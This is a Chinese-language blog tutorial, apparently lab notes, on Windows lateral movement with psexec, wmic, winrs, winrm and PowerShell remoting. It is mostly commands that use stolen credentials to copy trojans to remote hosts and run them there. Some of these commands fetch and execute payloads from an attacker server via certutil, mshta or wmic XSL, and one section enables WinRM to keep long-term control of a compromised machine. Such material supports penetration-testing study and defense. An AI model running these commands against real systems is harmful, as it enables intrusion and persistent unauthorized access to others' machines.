windows远程命令执行
以下所有实验均在工作组环境下
psexec
psexec.exe \\ip –accepteula -u username -p password program.exe
psexec.exe \\host -accepteula -u domain\username -p password -d -c
#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。
如果是域环境的话,命令为PsExec.exe \\192.168.23.99 -u test\lisi -p 123 -c cmd
获取对方主机的账号密码后且对方开启445端口,可以使用psexec来进行远程命令执行。
psexec \\172.16.99.233 -u administrator -p 123 -c cmd.exe 获取cmdshell
psexec \\172.16.99.233 -u administrator -p 123 -c muma.exe
#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。
使172.16.99.233主机执行在172.16.99.235上的muma.exe文件。达到了在远程主机执行本地文件的目的。攻击机器为172.16.99.235,muma.exe这个文件也在172.16.99.235这个主机上,但是通过上面的命令就可以使得这个文件执行在172.16.99.233这个主机上,进而达到远程控制的效果。
当psexec执行失败当时候,可以按住shift右键点击cmd选择以其他用户启动shell,输入高权限用户当凭据即可。如下图:
wmic
方法1:控制远程主机下载并执行文件
wmic /node:172.16.99.233 /user:Administrator /password:123 process call create "cmd /c certutil.exe -urlcache -split -f http://172.16.99.233/muma.exe c:/windows/temp/putty3.exe & c:/windows/temp/putty3.exe"
1
#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。
上述命令的意思是,连接172.16.99.233并创建一个进程,这个进程是使用cmd 执行命令去 http://172.16.99.233/muma.exe下载这个文件,并保存到本地的 c:/windows/temp/putty3.exe并执行。
方法2:复制本地文件到远程主机并控制远程主机执行
copy muma.exe \\172.16.99.233\c$\windows\temp\test.exe ##IPC拷贝木马文件
wmic /node:172.16.99.233 /user:administrator /password:123 process call create “c:\windows\temp\test.exe”
1
2
#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。
winrm服务
winrm是一种服务,通过WSMan协议实现与远程计算机的对话。有3种方式对其进行操作:
经测试,域控主机只能用winrm不能用mshta与wmic上线。且利用winrs命令上线的话shell会卡住。
1.winrm命令
2.winrs命令
3.powershell
1
2
3
windows server自2008开始默认启动winrm服务,默认情况下,WinRM服务后台已经运行,但并不开启监听模式,因此无法接受和发送数据。使用WinRM提供的quickconfig对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口。
1.winrs
当目标开启winrm服务的时候:
winrs -r:yukong -u:test\administrator -p:123 "hostname"
winrs -r:lisi-win10 -u:test\administrator -p:123 "cmd.exe /c mshta http://192.168.124.7:8080/a.png"
winrs -r:lisi-win10 -u:test\administrator -p:123 "wmic os get /format:"http://192.168.124.7:8080/a.xsl""
1
2
3
如果目标没有开启winrm服务,则会报错:
2.winrm
如若当前机器开启了winrm则可查看状态
winrm enumerate winrm/config/listener
1
如果目标主机开启winrm服务,则可使用命令在远程主机执行命令,例如打开calc.exe:
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:lisi-win10 -u:test\administrator -p:123
winrm invoke Create wmicimv2/win32_process @{CommandLine="cmd.exe /c mshta http://192.168.124.7:8080/a.png"} -r:lisi-win10 -u:test\administrator -p:123
1
2
可知道程序已被打开,并且pid为4460,但当我登陆被攻击机器的时候发现,程序确实被打开,但是pid不是4460.
我们拿到一台主机后,如果当前主机没有开启winrm服务,我们可以在管理员权限下执行下面的命令来长期开启winrm服务,然后利用其账号密码进行长期控制:
powershell Enable-PSRemoting –force
powershell Set-Service WinRM -StartMode Automatic
1
2
winrm其他命令:
#查看WinRM状态
winrm enumerate winrm/config/listener
#开启WinRM远程管理
Enable-PSRemoting –force
#设置WinRM自启动
Set-Service WinRM -StartMode Automatic
#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,默认的5985端口
winrm quickconfig -q
#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,HTTPS传输,5986端口
winrm quickconfig -transport:https
#查看WinRM的配置
winrm get winrm/config
#查看WinRM的监听器
winrm e winrm/config/listener
#为WinRM服务配置认证
winrm set winrm/config/service/auth '@{Basic="true"}'
#修改WinRM默认端口
winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'
#为WinRM服务配置加密方式为允许非加密:
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
#设置只允许指定IP远程连接WinRM
winrm set winrm/config/Client '@{TrustedHosts="192.168.10.*"}'
#执行命令
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'
#在dc机器上面执行命令并且指定用户名和密码
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:dc -u:one\administrator -p:q123456.
3.powershell
Enter-PSSession -computer lisi-win10 #高权限用户可以直接控制低权限用户的主机
————————————————
版权声明:本文为CSDN博主「Shanfenglan7」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_41874930/article/details/108245293